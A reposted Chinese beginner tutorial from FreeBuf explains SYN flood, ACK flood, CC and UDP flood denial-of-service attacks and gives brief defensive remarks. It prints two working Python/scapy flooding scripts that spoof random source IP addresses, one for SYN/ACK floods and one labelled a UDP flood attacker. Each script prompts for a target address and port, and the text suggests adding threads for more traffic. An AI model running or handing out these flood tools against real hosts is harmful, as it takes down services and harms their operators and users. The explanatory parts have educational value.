转载

【新手指南】浅谈拒绝服务攻击的原理与防御(1):普通拒绝服务攻击

普通 拒绝服务攻击 指一些 传统 的攻击方式,如:SYN FLOOD 攻击、 ACK FLOOD 攻击、 CC攻击、UDP  FLOOD攻击 等, 下面 会详细介绍。

SYN FLOOD 攻击

S yn  flood攻击是利用TCP协议的一些特性发动的 通过发送大量 伪造 带有 syn标志位的TCP报文 使 目标服务器连接耗尽,达到拒绝服务的目的。要想 理解 syn flood 攻击原理 必须 要先了解TCP 协议建立 连接的机制。TCP(Transmission Control Protocol  传输控制协议 )是一种面向连接的、可靠的、基于字节流的 传输层 通信协议。在 TCP /IP 协议簇 中,TCP层是位于IP层之上,应用层之下的中间层。不同 主机的应用层之间 通信 常需要可靠的、像管道一样的连接,但是IP层 (网络 层)不提供这样的 可靠字节 流机制,而是提供不可靠的 数据 包交换。 因为 TCP是可靠的传输方式,所以 在通信 之前需要建立连接,TCP建立连接的方式就是著名的TCP三次握手( 如图3 -1-1)

【新手指南】浅谈拒绝服务攻击的原理与防御(1):普通拒绝服务攻击

yn  flood攻击就是在三次握手 机制 的基础上实现的。攻击者通过伪造 IP 报文, IP 报文 的原地址字段随机填入伪造的IP地址,目的地址填入 要攻击 的服务器 IP 地址,其他TT L、 ID 以及 TCP中的Source Port 随机填入合理数据,TCP的目的端口填入目的服务器开放的 端口如 80、8080等,syn 标志位置 1。然后通过 不停的 循环 讲伪造好的数据包 发送 到目的服务器。 样本 如图 3-2、3-3

【新手指南】浅谈拒绝服务攻击的原理与防御(1):普通拒绝服务攻击

【新手指南】浅谈拒绝服务攻击的原理与防御(1):普通拒绝服务攻击

可以看到 目标主机建立了很多虚假的 半开 连接,这耗费了目标主机大量的 连接资源。可以想象 如果 成千上万 台“ 肉鸡 一台服务器发动syn flood攻击威力 将是非常 强大

ACK FLOOD攻击

ack flood攻击同样是 利用 TCP三次握手的 缺陷 实现的攻击, ack  flood攻击利用的是三次握手的第二段,也就是TCP标志位syn和ack都置 1, 攻击主机伪造海量的 虚假 ack包 发送给 目标主机,目标主机每收到一个 带有 ack 标志 位的数据包时,都会去自己的TCP连接表中查看有没有与ack 发送者建立连接 如果有则发送三次握手的第三段ack+seq 完成 三次握手, 成功 建立TCP连接。如果 没有 发送 ack+rst 断开 连接。但是在 这个 过程中会消耗一定的CUP计算资源,如果 瞬间 收到海量 syn+ack 数据包 将会 消耗 大量的cpu资源使得正常的连接无法建立或者 增加 延迟,甚至造成服务器瘫痪、死机。 如图:

【新手指南】浅谈拒绝服务攻击的原理与防御(1):普通拒绝服务攻击

攻击开始

【新手指南】浅谈拒绝服务攻击的原理与防御(1):普通拒绝服务攻击

攻击开始

【新手指南】浅谈拒绝服务攻击的原理与防御(1):普通拒绝服务攻击

理论上 目标主机的TCP连接越多ack攻击效果越好,所以 如果 syn flood与ack flood配合使用效果会更明显。

实现代码如下(我是用scapy写的,单线程速度并不快,想要更大流量自行增加多线程):

#-*- coding: UTF-8 -*- 
import socket
import struct
from scapy.all import *
from scapy import all
import random
print"SYN/ACK FLOOD"
 
mode=input("SYN or ACK (0 or 1):")
if mode==0:
	flag=2
elif mode==1:
	flag=18
else :
	print"BUG "dip=raw_input(str("输入目的地址:"))
dp=input("目的端口: ")
sip1=raw_input(str("源地址(随机请输入 R ):"))
sp1=raw_input(str("源端口(随机请输入 R): "))
while 1:
	if sip1=="R":
		iprandom=random.randint(0,4000000000)
		sip=socket.inet_ntoa(struct.pack('I',socket.htonl(iprandom)))
		if sp1=="R":
			sp=random.randint(1,65535)
		else:
		 	sp=sp1
	else:
		sip=sip1
		if sp1=="R":
			sp=random.randint(1,65535)
	 	else:
		 	sp=sp1
	t=random.randint(64,128)
	pack=(IP(src=sip,dst=dip,ttl=t)/TCP(sport=sp,dport=dp,flags=flag))
 
	send(pack)

CC攻击

CC 攻击全称Challenge Collapsar 中文意思是挑战黑洞,因为以前的抗DDOS攻击的 安全 设备叫黑洞,顾名思义挑战 黑洞 就是说 黑洞 这种攻击 没办法, 新一代 的抗DDOS设备已经改名为ADS(  Anti-DDoS System ), 基本上 已经 可以 完美的抵御CC攻击了

CC攻击的原理是 通过 代理服务器或者大量“ 肉鸡 模拟 多个用户访问目标网站 动态页面, 制造 大量的 后台 数据库查询动作,消耗目标CPU资源,造成拒绝服务。

我们都知道 网站的页面有静态和动态之分,动态网页是需要与后台数据库进行交互的 ,比如 一些论坛, 用户 登录的时候 需要 去数据库查询你的等级、 权限 等等,当你留言的时候又需要查询权限、 同步 数据等等, 这就消耗 很多   cpu资源, 造成 静态网页能打开,但是需要和数据库交互的动态网页打开慢或者无法打开的现象

这种 攻击方式相对于前两种实现要相对复杂一些,但是防御 起来 要简单的多 ,提供服务 的企业只要尽量少用动态网页并且 一些操作 提供 验证码就能很好的抵御一般的 CC 攻击 。所以在这 我就不在演示CC攻击的效果了。

【新手指南】浅谈拒绝服务攻击的原理与防御(1):普通拒绝服务攻击

UDP FLOOD攻击

UDP FLOOD攻击顾名思义是利用UDP协议进行攻击的,UDP FLOOD攻击可以是小 数据包 冲击 设备 也可以是大数据包 阻塞 链路 尽带宽。 不过 两种方式的实现很相似,差别就在UDP的数据部分带有多少数据。 相比 TCP协议的攻击UDP的攻击更直接更好理解,有一定规模之后更难防御,因为UDP攻击的特点就是打出很高的流量,一个中小型的网站出口带宽可能不足 1 G, 如果 遇到 10 G左右的UDP FLOOD攻击, 单凭企业 自身是无论如何也防御不住的, 必须 需要运营商帮你在上游清 流量才行,如果遇到 100G的 流量可能 地方的 运营商都 没有能力 清洗了,需要把流量分散到全国清洗。UDP FLOOD攻击 就像是 一块大石头,看着普普 通通 好像 跟现代 机枪 炸弹 不是 一个 等级的 武器,但是如果石头足够大 ,就不一样 了。想想 恐龙是 怎么灭绝的, 陨石 不也是块普通的石头吗! DDOS 防御 领域有一句话:能防住的都是简单的攻击, 简单的攻击 不一定 防得住。UDP FLOOD正是这种简单有效的攻击方式。

大包 攻击:

【新手指南】浅谈拒绝服务攻击的原理与防御(1):普通拒绝服务攻击

小包 攻击:

【新手指南】浅谈拒绝服务攻击的原理与防御(1):普通拒绝服务攻击

下面的代码也是单线程,速度不太快,下一篇文章讲反射DDOS的时候会有多线程的用法。

UDPFLOOD.py
 
#-*- coding: UTF-8 -*- 
import socket
from scapy.all import *
from scapy import all
print "这是一个UDP FLOOD攻击器,源端口源IP随机"
dip=raw_input("输入要攻击的地址:")
dp=input("输入要攻击的端口:")
f=open('./load','r')
while 1:
	size=random.randint(1,2)
	data=f.read(size)
	iprandom=random.randint(0,4000000000)
	sip=socket.inet_ntoa(struct.pack('I',socket.htonl(iprandom)))
	sp=random.randint(1000,65535)
	t=random.randint(50,120)
	packet=(IP(src=sip,dst=dip,ttl=t)/UDP(sport=sp,dport=dp)/Raw(load=data))
	send(packet)

下篇文章讲介绍反射性DOS攻击的相关知识,第一次发文,勿喷啊~~

*本文作者:黑戈爾,转载请注明来自FreeBuf.COM

原文  http://www.freebuf.com/articles/network/126702.html
正文到此结束
Loading...